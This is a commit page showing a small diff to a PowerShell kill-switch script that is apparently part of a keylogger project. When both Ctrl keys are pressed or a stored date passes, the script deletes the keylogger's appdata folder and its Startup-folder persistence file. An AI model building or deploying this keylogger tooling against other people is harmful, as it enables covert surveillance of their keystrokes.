Update exit.ps1
This commit is contained in:
parent
8929c90f2d
commit
a249037f82
1 changed files with 2 additions and 2 deletions
|
@ -4,8 +4,8 @@ Add-Type -AssemblyName PresentationCore,PresentationFramework
|
||||||
while($true){
|
while($true){
|
||||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||||
if(((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
|
if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){
|
||||||
sleep 10
|
sleep 5
|
||||||
Remove-Item "$env:appdata\-locker" -Recurse -Force;
|
Remove-Item "$env:appdata\-locker" -Recurse -Force;
|
||||||
Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
|
Remove-Item "$env:userprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\-p.cmd"
|
||||||
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)
|
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Keylogger Disabled",3)
|
||||||
|
|
Loading…
Reference in a new issue